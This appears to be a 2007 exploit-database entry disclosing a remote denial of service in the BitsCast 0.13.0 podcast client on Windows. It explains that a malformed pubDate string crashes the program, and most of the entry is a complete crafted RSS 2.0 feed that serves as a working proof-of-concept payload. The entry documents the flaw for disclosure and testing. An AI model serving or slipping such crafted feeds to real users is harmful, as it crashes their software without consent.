BitsCast 0.13.0 - invalid string Remote Denial of Service

EDB-ID:

3929

Author:

gbr

Type:

dos

Platform:

Windows

Published:

2007-05-15

BitsCast 0.13.0 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

BitsCast crashes when receiving a RSS 2.0 feed item with a invalid string* in sub-element
'pubDate'.


* '../A' x 8, 'A/../' x 8, and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <link></link>
                <description></description>
                <pubDate>../A../A../A../A../A../A../A../A../A../A../A../A</pubDate>
        </item>            
                
</channel>
</rss>

# milw0rm.com [2007-05-15]